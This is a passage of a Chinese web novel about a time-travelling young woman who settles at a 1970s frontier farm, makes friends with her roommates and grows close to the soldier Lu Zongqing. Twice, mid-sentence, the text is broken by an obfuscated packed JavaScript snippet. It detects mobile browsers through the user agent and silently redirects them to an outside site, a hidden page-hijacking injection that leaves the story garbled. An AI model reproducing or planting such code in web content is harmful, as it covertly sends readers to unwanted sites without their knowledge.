“待会儿到了住的地方,我去给你们拎水。” 孟逐星脚步微顿,“我和思甜住哪儿呀?有没有厕所……” “我提前申请好了,你们和医院的女医生、女护士们住一个小院,那里有一个公用厕所。”陆宗青望着她,“辛苦将就一下,以后……是可以搬出来单住的。” 农场面积大,无论是士兵、医护还是知青,结婚之后都可以分房子或者获批自建房。 “有厕所就好……”孟逐星也不是挑剔的人,只要不让她在露天野地里就ok。 虽是八月,可这边倒没那么热,太阳明晃晃的却不怎么晒,土路两边的树像是刚种上没多久,幼小,可怜。 陆宗青解释道:“我们刚来那会儿这边是一片大草地,除了蚊虫什么都没有,盖完场里的房子、开垦完荒地忙完庄稼后,才顾得上在路边栽树。” 孟逐星小声问:“这里的蚊子很厉害吗?” “一般都没怎么有,除非你去草丛或者水边,你要是被咬得厉害了,可以去医护室拿点药抹抹。” 三人一路走进农场,越往里走便陆陆续续地看到些人,有穿着绿军装的戍疆战士,有行为举止看着比较斯文戴眼镜的知青,还有穿着背心短裤奔跑打闹的小孩子。 腔调五湖四海,犹以东北的大碴子音最为显著。 孟逐星忍不住笑,转头看陆宗青:“宗青哥,你在这儿待了这么多年,口音好像没怎么被影响呀?” 陆宗青不明所以:“嗯?我应该被影响么?” 孟逐星摇头笑了笑,想起大学时隔壁宿舍有个东北妹子,一个学期就把整个宿舍的人都给带成了东北口音。 以及,某明星在综艺上一脸疑惑地说:“我xín思我也妹有口音啊?” …… 很快,陆宗青带她们来到了宿舍。 这是个小四合院,房子都是土墙,院子中间有一口井,旁边扯了几根晾晒绳,晒着些枕巾、被套。 此时正是上班上工的时候,院里并没其他人在。 陆宗青将行李放下,指了指角落里的小棚屋,“那里是厕所。” 孟逐星环顾四周,点了点头,“这里挺好的呀,很整洁干净。” 虽然还没见到未来的几位“室友”,但已然对她们有了几分好感。 在现代的时候她也和人合租过,就遇到过好几回舍友不打扫公共区域的问题,到最后要么由某个看不下去的大冤种收拾,要么就一直脏着。 陆思甜问:“哥,这里一共三间房,住了几个人啊?” “你们俩一间,另外两间住了四个人,都在场里的医院工作。”陆宗青说着卷起袖子到井边打水,他把水倒进木桶中,“去把你们的脸盆拿出来,洗洗换衣服,我带你们去食堂吃饭。” 孟逐星身上确实很不舒服,她忙解开行李拿出盆,就见陆宗青拎了两桶水放在地上,“不着急,你们慢慢来,我在外面等你们。” 他走了出去,顺手带上了门。 “逐星姐,我哥是不是很体贴?”陆思甜对她挤眉弄眼地笑。 “确实很细心,不过思甜,我一直有个疑问,你哥这么多年都没有喜欢的人么?” 两人边说话边脱衣服,背对着擦洗。 “据我所知是没有的,我哥当兵之前就是上学、干农活,后来年纪大了点,想寻个好出路,才来的部队。” 陆思甜擦洗着胳膊,忽然闻到一股淡淡的奶香味儿,“咦,逐星姐,你有没有闻见?” “什么?”孟逐星面不改色,处理着身体的异样,“是做饭的香味吗?” “不是,像是小孩子身上的那种奶香。”陆思甜声音满是疑惑,“奇怪的是,我总能时不时地闻到,却一直找不到来源在哪儿,我都疑心是不是我的鼻子出问题了?” 孟逐星换好衣裳,悄悄擦了擦额上的汗,“可能是你闻错了吧。” 救命……这副身体是不是有什么毛病啊?怎么一见到陆宗青就变得兴奋起来…… 待两人收拾完出来时,就见陆宗青正在跟一个年轻人说话,那人长得很清俊,一双桃花眼却波光潋滟地乱飞,在瞥到孟逐星与陆思甜时,顿时一愣。 李少阳自以为小声地问:“宗子,这两个哪个是你心上人啊?” 听得真真儿的孟、陆二人:…… 陆宗青咳了一声,指着陆思甜介绍道:“这是我妹妹思甜,旁边这位叫孟逐星,这是我战友李少阳。” “妹妹好!嫂子好!” 李少阳笑得比花儿还灿烂,完全将陆宗青叮嘱的话抛诸脑后。 见孟逐星面露窘迫,陆宗青耳根微红,连忙将这兔崽子给拉到身后,“他说话口无遮拦,你、你别介意。” “嗯。” “少阳哥你好。”陆思甜细声细气地打招呼,转头看向自家哥哥,“哥你能带我们去吃饭了么?” “好,这就去。” 陆宗青说着,眼角余光看向孟逐星,见她似乎没有生气,心下悄悄松了口气,同时给了李少阳一眼刀。 后者嘻嘻一笑,自来熟地夸奖着两位姑娘,“嘿要我说南方的水土就是养人嘿!两位往这儿一站,江南女子的清秀婉约就活灵活现了,真真是动如脱兔静若处子……” 他自顾自地掉书袋,陆宗青在一旁满脸黑线。 陆思甜性子比较内敛害羞,又没怎么跟男子接触过 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孟逐星闻声望去,见不远处站着一个年轻姑娘,穿着白底碎花衫,梳着两根麻花辫,一张白皙的俏脸上满是讥讽。 “莫莉莉,这又干你什么事啊!”李少阳笑嘻嘻怼道,“怎么,你给人扎针时又又又失误了?被人投诉了不顺心跑我这儿来撒气?我告儿你,我可不会因为你长得好看就对你心慈手软的!” “……” 莫莉莉瞪了他一眼,端着饭缸气呼呼走了。 孟逐星则与陆思甜对视一眼,大概了解了李少阳是个什么样的脾气。 见谁都喜欢撩几句,没个正行,搁现代就是个嘴贱海王人设。 吃罢饭后,李少阳与陆宗青归队训练去了。 陆思甜与孟逐星回到宿舍收拾床铺,她忍不住问:“逐星姐,我之前听说部队里纪律很严的,少阳哥这样说话……真的不会有事吗?” 孟逐星想了想,“他应该只是动动嘴皮子,不会真的怎么样,要不然你哥能跟他走得近?部队里也容不下他。” 她顿了顿,“思甜,我听他的口音像是北京来的,也许家庭条件不一般……” 陆思甜大眼睛里满是不解:“所以呢?” “我是说,咱们可以和他好好相处,但是你最好别喜欢他。” 陆思甜满脸通红:“我、我怎么会喜欢他。” “不喜欢最好呀,他那样的花花公子不适合你。”孟逐星笑道,“我是怕你以后会受伤。” 陆思甜摇了摇头:“我记得你的话的,先好好读书找个工作,以后再考虑结婚的事。” “真乖!” 这天傍晚,两人见到了同个小院的四位室友。 宋若楠,短发瘦削,戴着银丝眼镜,五官精致,气质清冷,一张口却是一把少年音,反差极大。 周蒙,圆脸大眼睛,长得很可爱,特别活泼热情。 莫莉莉,白皙俊俏,瞧着有几分骄蛮,但对孟、陆二人挺友善的,想来也不难相处。 谢慧敏,年龄在四人中最大,性子很稳重体贴。 一一介绍认识后,孟逐星从行李里一包包花茶分给她们,笑道:“这些花茶都是我和思甜在山上采摘晒制的,不值什么钱却很干净,拿来泡水喝却是不错的,你们尝尝看。明天晚上你们就别打饭了,我们做东请客,初来乍到,我们有什么做的不对的,还请你们多多指正包涵。” 周蒙接过花茶闻了闻,夸道:“好香,有淡淡的甜味呢!” 谢慧敏笑说:“花茶我们收下,请客吃饭就不必破费了,明天正好休息,咱们倒是可以一块做顿饭吃,人多也热闹。” “这我同意!”莫莉莉举起小手,“上回慧敏姐调馅儿包的饺子老好吃了!我一直惦记着呢!” 一道低沉的少年音插入:“我也同意。” 孟逐星忍不住偷瞄宋若楠,救命……这个姐姐好迷人。 远处夜里加练十公里的陆宗青,脚下冷不丁一趔趄。 嗯?怎么感觉自己好像被偷家了? 11. 第 11 章 屋里的炕足够宽敞,孟逐星便用几块旧布充当床帘,给两人围出了一小片个人空间,免去彼此换衣服时的尴尬,也可以更好地隐瞒她的小秘密。 当天洗漱完,她便倒在炕上沾枕就睡,第二天是被外面的鸟叫声吵醒的。 陆思甜还在睡着。 孟逐星轻手轻脚地穿衣下炕,端着脸盆去打水,刚把水提上来,一抬眼就看到周蒙和谢慧敏两人拎着竹篮从外面回来。 “慧敏姐、小蒙,你们去买菜啦?” 周蒙侧着篮子给她瞧,“不是买的,我们在屋后面种了些菜,现摘的,可水灵儿了。” 孟逐星有些惊讶:“你们平时上班不是都挺忙的吗?还有功夫种菜呢。” 谢慧敏笑道:“胡乱种的,除了韭菜和豆角疯长,其他的菜都不太行。你洗漱完可以去厨房,锅里还有些小米粥,热乎着呢。” 孟逐星笑眯眯道谢:“好嘞,谢谢慧敏姐,我这就叫思甜起来。” 周、谢二人朝东北角的厨房走去,将菜放下回屋休息。 而那厨房,其实也只是个棚屋,一眼便可看到灶台、木桌,几只小木凳和些许碗筷、调味料,地方不大,要是雨下大点儿,就得淋湿半间屋子。 灶台和桌子都很干净,想来这四人平日并不太做饭。 孟逐星叫醒陆思甜,两人洗完脸,来到厨房,见锅里果然有半锅小米粥,熬得黏糊糊的,看着就很香糯。 回屋拿出来王婶儿给带的脆辣萝卜丁,两人就着小菜吃起粥来。 正吃得香呢,宋若楠走了进来,目光在萝卜丁上停留一瞬,还不待她开口,孟逐星便招呼道:“若楠,你吃了吗?没吃一块儿。” 下一瞬,她就在她头顶看到了一个闪光的对话框:【……】 孟逐星内心:? 宋若楠开口道:“我吃过了,不过你们的萝卜丁看着很好吃,我可以尝一下吗?” “当然可以!”孟逐星赶忙给她拿了双干净筷子,“这是我朋友妈妈给做的,香辣脆口可好吃了!” 陆思甜给她搬来一只小凳,“若楠姐姐坐。” 宋若楠对她点了点头,夹了块萝卜丁尝了尝,瞳孔微微放大,“确实很好吃。” 她顿了顿,“你们会做吗?我们屋后有个地窖,放了不少萝卜,只是我们不太会弄,做过一次没整好,又咸又硬的……” 孟逐星眨了眨眼,“没弄过,但是可以拿两个萝卜练练手。” 宋若楠笑了笑:“地窖里的萝卜有很多,够你练的,听说你们是陆排长的亲戚?” 陆思甜抢答道:“嗯,陆宗青是我哥,逐星姐是我的未来嫂嫂。” 孟逐星:“……” 倒也不必如此直接。 她和陆宗青的事八字还没一撇呢,万一没成,俩人该有多尴尬。 “哦?你们定亲了?” 孟逐星连忙摆手:“还没,正在相处中。” 宋若楠说:“陆排长除了比较沉默寡言,人还是蛮不错的。” 陆思甜小声八卦:“若楠姐,这里有人喜欢我哥吗?” “有啊,我们医院里就有几个对他印象不错的,也有比较大胆的直接写表白信送给他,但都被他礼貌拒绝了。” “咦,这些宗青哥怎么都没跟我提过?”孟逐星有点惊讶,她还以为陆宗青这款在这年代不怎么受欢迎呢…… 看来是她想岔了,那张脸那体格,在什么时候都会招人喜欢。 陆思甜捂嘴偷笑,“因为我哥不想让你多心呀。” “他有人喜欢是他的事,我多心什么。”孟逐星佯作镇定,“你可别忘了咱们来这儿的目的。” 宋若楠很是好奇,“你们是为了什么?” 陆思甜解释道:“逐星姐说,四合村太小了,消息闭塞,来这里一是可以开阔眼界结交朋友,二是可以跟更多的人交流学习,切磋……”她声音低了些,“学习上的问题。” 宋若楠很是惊诧:“学习?高考不都……”她神色微变,轻声问,“还是你们听到了什么……” 孟逐星连忙笑着打岔:“没有,我和思甜之前在村里闲着无事,就看看以前的书温习一下知识,并没有别的意思。” 她在桌下悄悄扯了扯陆思甜的衣袖,小姑娘慌得小脸通红,“对、对,就是这样。” 宋若楠对她们笑了笑,安抚道:“你们别慌,多看书看报总是好的,我们几个也都喜欢,屋里都放了些书本,你们要是感兴趣,咱们可以一块儿交流。” 她顿了顿,意有所指地说:“我是觉得,以后一定会用得上。” 孟逐星眼睛一亮,对这个小姐姐的喜欢更多了几分,看来这小院里的姑娘们都是一类人,所以才能相处得如此和谐。 吃罢早饭洗了碗筷,孟逐星将昨天换下的衣服洗了晾好,见周蒙与谢慧敏开始择菜、和面,便跟着一块儿打下手。 莫莉莉上午值班不在,院里就她们五个人,几人一面说话一面做饭,渐渐地也都熟络起来。 从聊天中孟逐星得知,几人都是下乡来到了这里,周蒙、宋若楠、谢慧敏的老家都很远,莫莉莉倒是和李少阳一样,都是北京来的。 由此她也就理解了,为什么莫莉莉身上有股骄蛮劲儿,兴许祖上也是大户人家,之所以来这里都是因为历史原因。 她回来时正好赶上饭点儿,姑娘也是个讲究人,还特地带回来一瓶黄桃罐头。 再加上几人做的韭菜猪肉馅儿的饺子,一盘豆角烧肉,一盘糖拌西红柿,饭菜很是丰盛,孟逐星还拿出了几个自己腌的咸鸭蛋,煮熟了分给众人吃。 鸭蛋腌得咸味正好,沙软流油,很是下饭,周蒙连连夸赞:“逐星你的厨艺真不错,我开始期待你的腌萝卜了。” 孟逐星笑道:“成不成还不一定,就怕白白浪费东西。” “嗐,萝卜白菜咱们这边有的是,不差这点儿。” 谢慧敏问:“你和思甜之后是什么打算?是要加入公社下地赚工分还是怎么?” 孟逐星道:“我们俩不是上面派来的知青,自然不好占农场工分的便宜,再加上思甜的身子有点弱,不适合按点儿上工,我是想能自己找块荒地开垦,我们俩种点菜养点家禽,有点收成糊口就行。” “荒地这边有的是,只是草都比人高,不太好开垦。” “那不怕,我们慢慢来就是了。” 陆思甜补充道:“再说还有我哥呢,他会帮我们的。” 周蒙羡慕道:“你哥对你真好,大老远的还要把你弄过来,不像我……” 家里为了能让弟弟留下,让她大老远地跑了过来。 谢慧敏拍了拍她的肩,“小蒙别难过,我们也都和你一样,既然离开家了,一切就都努力靠自己。” 周蒙揉了揉泛红的眼圈儿,“嗯!” 吃罢饭,几人分工合作,收拾好碗筷桌椅,泡了壶孟逐星带来的花茶,坐在院子里吹风聊天。 微风阵阵,阳光也不那么炽烈,时光悠然。 小院中时不时地传出笑声。 陆宗青远远地便听到说笑声,他脚步微顿,听到了孟逐星的声音,清脆而富有活力,他弯了弯唇角,转身折返离去。 ** 晚上洗漱后,孟逐星出去倒水了,陆思甜又闻到了那股淡淡的奶香味。 她百思不得其解,如小狗般嗅着去寻找源头,最终,目光定在了孟逐星换下来的小衫上。 伸手拿起,放在鼻下,深嗅—— 咦?!! 陆思甜瞪大眼睛,怎么、怎么会这样?! 孟逐星回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟逐星忽地反应过来,脸颊发热地去捂她的嘴,嗔道:“你什么时候跟人学坏了,拿这些话取笑我!” “唔唔我没有。”陆思甜笑着躲,“我只是想别浪费了这样的好东西。” “陆思甜!”孟逐星简直要抓狂了,她没想到平日里看着腼腆害羞的小姑娘,竟会说出这样的虎狼之词! “快说,这些话你是从哪儿学来的?要不然我就去跟你哥告状!” 陆思甜被她挠胳肢窝痒得受不了,迭声求饶:“好好好我老实交代,是我之前听我大娘跟人聊天说的,什么村里的妇人怀了孩子……大人和小孩争抢……” 越到后面,她的声音越低。 两个姑娘都小脸通红。 “咳……这话可不能乱说。” “嗯嗯我知道的,我也只跟你一个人说过。” 两人相视一笑,上了炕睡觉。 临睡之前,陆思甜突然问:“逐星姐,你喜欢我哥吗?哪怕是一点点?” 孟逐星坦白道:“是挺有好感的,至于喜欢,我也不知道算不算是。” 她又没正儿八经地谈过恋爱,哪里懂这些,只是有一点她可以确定,自己这副身子似乎对他是很有感觉的。 只要多想他一会儿,就会开始不太对劲…… 简直离谱,弄得她好像很饥渴似的…… 孟逐星伸手摸了摸胸口,嗯?怎么好像还膨胀了? 算一算日子,又快来月经了。 她暗叹一声,这样的鬼日子也不知道什么时候才是个头。 没想到第二天,她就在众目睽睽下社死了。 12. 第 12 章 起因是陆思甜趁着陆宗青休息时,找到他说了开垦荒地的事儿,当时李少阳正好也在,一听说这事儿当即表示要一起帮忙。 都是二十啷当岁的小伙子,正是身强体健精力充沛的时候,当即便拿着镰刀砍刀直奔大片荒地。 这里离孟逐星住的地方不算太远,走路十分钟左右,李少阳与陆宗青麻利地开始割草,孟逐星和陆思甜也要一起,被陆宗青拦住—— “你们过会儿负责将杂草拾走就成。” 野草半人高不说,里面还有很多虫子,饶是在农场待了两年多的李少阳,见到那大青虫也是忍不住皱起了眉,“好嘛,这虫子的伙食可真不错。” 陆宗青说:“你要是嘴馋就带几个回去加餐。” 李少阳:“……” 俩人下午还要去训练,只趁着中午休息这会儿帮两人开垦了大半,孟逐星赶忙送来晾凉的花茶,感激道:“辛苦了,快喝点水。” 李少阳大咧咧道:“这算什么,可比我们平时拉练轻松多了。”他喝了口茶,瞪起眼夸道,“这茶真香嘿!是哪儿买的?我也去买点喝喝。” 孟逐星笑道:“是我和思甜自己晒的,你要是喜欢,我给你拿些。” 陆宗青看着她,“我也喜欢。” “……” 孟逐星被他盯得身子一麻,见他头顶突然弹出了对话框——【茶确实好喝,但是不知是不是错觉,怎么隐约有股子奶味儿?】 【难道她的病又严重了吗?】 【还是我想法太龌龊……】 孟逐星:………… 她胸口忽地觉察到一股温热。 与此同时,陆宗青的眼眸微微放大。 蹲下系鞋带的李少阳低头疑惑问:“哎?你们闻见没,怎么突然有股奶味儿?” !!! 孟逐星狼狈地捂着胸口,这一瞬间,她想死的心都有了。 蓦地眼前一黑,陆宗青将他的衬衫罩在了孟逐星身上,一股陌生的气息将她包围。 “啊?有吗?少阳哥哥你闻错了吧。”陆思甜生疏地扯着慌,一面挥舞着小手——试图帮着散散味儿。 李少阳站起了身,一脸懵逼:“咦,逐星妹妹你怎么突然穿着宗子的衣服?” “是我刚才不小心泼湿了她的衣服。”陆宗青面不改色道。 “你也太不小心了,这样粗手大脚的是不会讨妹子欢心的。”李少阳嘀嘀咕咕,又努了努鼻子,满眼疑惑,“你们都没闻见吗?难不成是我嗅觉出了问题?” 陆思甜打哈哈道:“兴许吧,时候不早了,少阳哥哥你们该归队了。” “确实是,宗子咱们走吧,去晚了又要被撅。” 陆宗青定定看了眼孟逐星,温声道:“要是不舒服就回去歇息,别累着。” “好。” 孟逐星心中一暖,目送着两人离开。 阳光下,陆宗青穿着白背心军绿长裤的身影格外有型,宽肩窄腰大长腿,肌肉健壮却又不过分夸张,她看得不禁有些出神。 陆思甜关切的声音将她的思绪扯了回来,“逐星姐,你还好吗?要不要回去休息?” 孟逐星摇了摇头,目露窘色,“不碍事,就是我也不知道会突然……兴许是与月事有关。” “啊……这个也会影响你啊。”陆思甜同情道,“你去坐着歇会儿,杂草我来收拾。” “不必,我没那么娇气。”孟逐星说着俯身捡草,“早点弄完咱们便可早点种庄稼,我还想着再找个地方养猪呢。” “养猪?”陆思甜瞪大眼,“我们俩能成吗?” 毕竟猪是个大家畜,不同于鸡鸭鹅,要是砸手里了,那可得损失不少钱。 “试试看吧,如果能成的话,咱不就可以实现猪肉自由了嘛。” “哇,如果可以,那可就太好了!” 想到可以大口吃肉,陆思甜顿时干劲儿十足,跟孟逐星一道将荒地收拾妥当,又轮流拉着木犁一点点翻土,直忙到太阳落山,两人才回去。 又累又饿,孟逐星煮了些杂粮粥,两人就着咸鸭蛋胡乱吃了,打水洗澡,陆宗青的衣服被孟逐星脱下洗好,打算第二天中午还给他。 当晚孟逐星睡得特别沉,以致于第二天早上她被不舒服的感觉弄醒时仍有些发蒙。 该死,熟悉的胀痛感又来了。 孟逐星不得不爬起来处理,她特地将擦洗的水储存在木桶中,准备抬去浇地。 院子里的四位姑娘都起来了,正在打水洗脸,见她脸色不太好,谢慧敏关切问:“逐星你是哪儿不舒服吗?要不要去医院瞧瞧?” “谢谢慧敏姐,我只是来月事儿了而已,老毛病了。” “是疼吗?这可大可小,要是疼得厉害可不能一味忍着。” “嗯嗯,我知道,谢谢姐。” 周蒙道:“你要红糖不?我屋里有,我等下给你拿点,喝点红糖茶能好些。” 孟逐星很是感激:“那就多谢你了。” 喝了半碗热糖茶后,孟逐星舒服不少,回屋叫陆思甜起床,叫了几声后她都没反应。 孟逐星心下一慌,赶忙拉开床帘,见陆思甜面颊泛着不正常的红,伸手探了探额头——烫得吓人! “思甜!”她惊呼出声,“怎么还突然发烧了?” 飞速打来水,将毛巾浸湿敷在陆思甜额头,一面迭声叫她的名字,可陆思甜一直没醒,这可吓坏孟逐星了,当即给她穿好衣服,背着她往医院跑去。 两人身材差不多,尽管这段时间孟逐星吃得比从前好很多,也常做农活,但原主的底子在那儿呢,此时背着一个人到底走不快,她一面咬牙坚持,一面跟陆思甜说着话,急得眼泪直冒。 途中,一个戴着眼镜的斯文男人见她如此辛苦,提出要帮忙,孟逐星万分感谢,小心地将陆思甜放到他背上,跟着他一路小跑到医院。 在医院门口恰好遇见宋若楠,她见状后立马将陆思甜带到了急诊室,一量体温竟然有40度!加上陆思甜本来身子就虚,高烧直接晕厥了过去。 宋若楠给她打了针退烧针,“发现的及时,别太担心,待会儿就会退烧了。” 孟逐星松了口气,这才觉得两腿酸软浑身都没了力气,她跌靠在墙险些倒地,被一只修长干净的手扶住。 “你还好吧?”眼镜男温声询问。 “哦我没事,”孟逐星对他感激笑道,“刚才多谢您了,要不是你,我们也不能这么快就到医院。请问您怎么称呼?” 眼镜男笑了笑:“我叫蒋熠。” “谢谢你了蒋同志,等思甜病好了,我们再去跟你专程道谢,你是在农场工作吗?” 蒋熠道:“专程道谢就不必了,不过是举手之劳,我还有事要忙,就先告辞了。” “那行,您慢走。” 孟逐星见他说话举止都文绉绉的,猜测他八成是个青年教师,大概率是在农场的学校里教书。 以后的日子长着呢,总有机会再遇见。 陆思甜是在二十多分钟后醒来的,眨巴着大眼睛满脸迷茫,“逐星姐,我这是怎么了?” “你发烧晕倒了,我带你来了医院。”孟逐星很是懊悔,“都怪我不好,明知你身子不好,不该让你干那么多活……” “这怎么是逐星姐的错,都是我没注意,昨天头发没干就睡了,所以才……”陆思甜直起身,“辛苦你了逐星姐,大老远的背我过来。” “我只背了一半,途中遇到了一个好心人。”孟逐星将遇到蒋熠的事说了,“要不要通知你哥?” 陆思甜小幅度摇头,“还是别了吧,他那么忙。” “那你要多喝点热水,待会儿再让医生给你开点退烧药。” 可两人在医院的事并没有隐瞒住,没过多久,陆宗青便脚步匆匆地赶了过来。 他还穿着训练服,显然是匆忙请假过来的。 “怎么发烧了?” 陆思甜小小声说:“昨晚头发没干就睡觉,着凉了。” 孟逐星赶忙道:“其实都怪我,昨天下午累到思甜了,她才困得不行的。” 陆宗青看了看两人,轻叹一声:“干活的事那么着急做什么,慢慢来或者交给我都成的。”他顿了顿,看向孟逐星,“你很缺钱么?” 这话说得孟逐星心里不太舒服,什么叫她很缺钱吗?难道非得缺钱才可以积极干活?这是什么鬼逻辑! 她心里不忿,面上自然不太好看,“是啊我很缺钱,缺大钱,这你也能帮我吗?” 陆宗青望着她,“你要多少?” “要多少你都给吗?” “我会尽我所能。” “……” 孟逐星一腔怒火瞬间卡壳,这下给她整不会了。 她摆了摆手儿,“我不缺钱,就是想尽快垦好地而已。” 陆宗青温声道:“那也不急这一两天,你要是想尽快种上,晚上我来帮你。” “不好,这样太麻烦你,”孟逐星有点为自己刚才的反应感到懊悔,“我还是慢慢来吧。” “不麻烦,就这么说定了。” 陆宗青摸了摸妹妹的额头,见没那么烫了,转身出去,过了一会儿拎了些饭菜回来,“你们先吃,吃完我把饭缸还回食堂。” “哥哥咱们一起吃吧?” “没事,我不饿。” 孟逐星看着有荤有素的盒饭,心里的愧疚更深,再怎么说陆宗青都帮了她很多,待她也很好,刚才他也是因为关心自己才问出那样的话,也许他并无他意,是她想多了。 “宗青哥,你出来一下。” 陆宗青愣了一下,跟她来到了走廊里,“怎么了?” 他忽地一顿,轻声问:“你、又不舒服了么?” 孟逐星抬眸,撞上他漆黑的眼,心尖急跳了一下,小声说:“嗯,刚才对不起,我语气不太好。” 陆宗青笑了笑,“没关系,我问的不恰当才让你误解的,是我的问题。” 孟逐星顿时对他的好感度增加不少,要知道帅哥常有,但不爹味、不爱说教、不大男子主义的却不多见。 帅气体贴、温柔有礼、懂得尊重女性、没有什么劣根性的男人,仿佛只存在于部分女作者笔下。 因此陆宗青的表现让孟逐星惊讶之余,也忍不住开始怀疑—— 难不成自己是穿越进了某部女频小说? 那她是小说里的NPC还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732928|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女主角? 作者什么时候让她觉醒意识? 灵魂三问之后,脑海中还是没有什么系统回答她。 好吧,是她想太多了。 陆宗青也许就是世间少有的好男人之一。 而她运气不错,遇见了他。 “逐星?”陆宗青低声叫她,“你怎么了?” “没什么。”孟逐星对她弯了弯眼,笑道,“宗青哥,过阵子我想弄个猪圈养猪,还要麻烦你帮改天抽空,陪我去买两头猪仔回来。” “好。”陆宗青定定地看着她,“不过你这样忙不会太累吗?” “不会,我总要找个事情做对不对?要不然整天闲着,四肢都要退化了。” “你之前不是说要读书?” “读书和养猪并不冲突呀,又不是要时时忙碌。” 孟逐星胆子不大,不太敢去黑市上掺和赚快钱,想着能这样一点点改善生活水平,有点闲钱了去收些老物件儿等日后升值,之后再考个不错的大学、买个大房子…… 人生就可以美美躺平,提前进入退休生活。 “好,你快去吃饭吧。”陆宗青看着她水灵灵的杏眼,“如果缺钱缺东西你就跟我说,不要委屈自己。” 他的语气太过真诚,使得孟逐星忍不住问:“宗青哥,你对我这么好,万一以后咱俩没成,你是不是会跟我一一算账,让我都还给你啊?” 陆宗青微微蹙眉:“你为什么会这么想?” 孟逐星小声嘀咕:“之前看过太多这种新闻了呀,什么‘你的那杯13’、‘妈饺8毛一个’……” “你说什么?”陆宗青没听清。 “哦没什么,你对我这么好,就让我挺有心理压力的……”孟逐星实话实说,她不想因为陆宗青对她好,而亏欠他什么道德资本。 陆宗青眉头舒展,温声道:“我对你好是我的事,没想过一定要有什么回报,你不用有什么负担。我们相处一段时间看看,合适的话就再进一步,不合适就只做朋友,就这么简单。” “那你付出这么多的精力财力,不会很亏吗?” “感情的事本来也不是付出就有收获的,我觉得值得就好。”陆宗青催促她,“进去吃饭吧,待会儿我送你们回去。” “好。” 孟逐星与陆思甜吃了饭,护士又量了次体温,见烧退了,三人离开医院。尽管陆思甜再三推辞,陆宗青还是将她送回了小院,“养好病再去干活,别让我担心。” “知道了哥。” 陆宗青看了看大太阳,对孟逐星说:“你也是,天凉快些再去忙。” “知道了宗青哥。”孟逐星学着陆思甜可怜巴巴的语气。 陆宗青抿了抿唇,“我走了,有事及时通知我,都是一家人,没什么麻烦的,晚上我再过来。” “好的哥。” “好的。” 在他走后,孟逐星忽然想起他晚上过来干啥——帮她开垦荒地。 可黑灯瞎火的,俩年轻男女在荒地里独处……怎么说都好像有点太过暧昧。 不过她也听说过,农场里的很多人都把她当做陆宗青的未婚妻子看待,知道他们关系匪浅,如此一来,只要他们身正,倒也没必要怕旁人瞎说。 反正她能住进这院子已然沾了陆宗青的光,再让他帮忙卖卖力气也没啥问题。 晚上,孟逐星煮了些米粥,去屋后摘了把小葱和鸡蛋一起炒了,想起陆宗青干活后或许可能会饿,又拿鸡蛋和玉米面煎了些小饼。 鸡蛋是她从附近的知青那买的,7分钱一个,价格比四合村贵了点儿,让孟逐星觉得养鸡大业迫在眉睫。 等周蒙几人下班回来后,她就跟几人商量:“我想在屋后用篱笆圈个鸡圈,养些鸡鸭鹅,下的蛋可以自己吃,多的话也能卖点钱,就是可能会有点味儿,不知你们同不同意?” 谢慧敏笑道:“我们能有什么不同意的,之前我们也想着养鸡来着,可惜没养活,你要是能成,我们也跟着沾点光。” 周蒙、宋若楠也表示同意,就莫莉莉皱了皱眉:“那院子里会不会有很浓的鸡屎味?” 孟逐星忙道:“我勤打扫着些,应该没问题的。” “那我也没意见,”莫莉莉顿了顿,“以后鸡养大了,我能先预定一只吗?” 太久没畅快吃肉了,她很馋得慌。 周蒙瞪大眼:“莉莉,人家鸡崽还没来呢,你就惦记着吃了。” 莫莉莉悻悻道:“我也就这么一说。” “当然可以,我还想着能把鸡圈发扬光大,开个养殖场呢!” 孟逐星的理想很丰满,努力努力再努力,做大做强,争做富一代。 “好啊,到时候我第一个捧场。”周蒙两眼放光,“我一直都想开家饭店来着,这样我想吃什么就吃什么!” 其余几人忍不住笑,“合着这饭店是为你自己开的!” 说笑一会儿,各自散了回屋,或是洗漱,或是在油灯下看看书。 这会儿虽然有电,但是分时段启用,又没有什么娱乐的,天黑之后很多人就睡觉了。 而孟逐星则提着油灯,陆宗青扛着锄头拿着镰刀,两人朝那片荒地走去。 13. 第 13 章 虽是夜里,月光却很皎洁,照在大地上恍如白昼,倒显得手中的油灯颇为黯淡。 走了一会儿,孟逐星吹灭了灯,省点油嘛。 两人走在月色弥漫的小路上,身影被月光拉得很长,时不时地交织在一起,孟逐星看得有趣,忍不住抬脚去踩陆宗青的影子。 踩到了,没踩到,差一点儿……咦,好像被他发现了。 “……” 孟逐星窘迫地偷瞄,看到了他头顶闪闪发光的对话框:【真孩子气。】 咳咳……她耳根微热,赶忙开口寻了个不相干的话题,“宗青哥,你一般都是去饭堂吃饭吗?” “嗯,只有晚上有空或者休息时才会自己下厨,我们宿舍楼里有个公共厨房,有时候大家就会自己做点饭。” “你还会做饭啊?” “会一些,改天有机会我做给你尝尝。” “好啊。” 孟逐星跟他说起自己打算在屋后养鸡的事,“所以等你什么时候有空,还要麻烦你带我一道去买些鸡鸭鹅回来。” 陆宗青道:“你又打算养猪,还要养这些,难不成是想做个养殖大户?” 孟逐星点了点头,“不可以吗?” 陆宗青笑了笑,“不是,我只是觉得有点稀奇,毕竟一般女孩子可能都不太喜欢猪圈鸡圈里的味儿……” “味不味儿的都是其次,能有充足的蛋和肉吃才重要。”孟逐星低头看了看自己的小身板,身上的肉倒是略微多了些,但是个子没怎么长,瞧着还不到一米六,跟现代的自己170的身高可差远了。 陆宗青目露了然:“原来你喜欢吃肉和蛋,后天我就休息了,到时候咱们一块去镇上转转,也给你们买点必需品。” 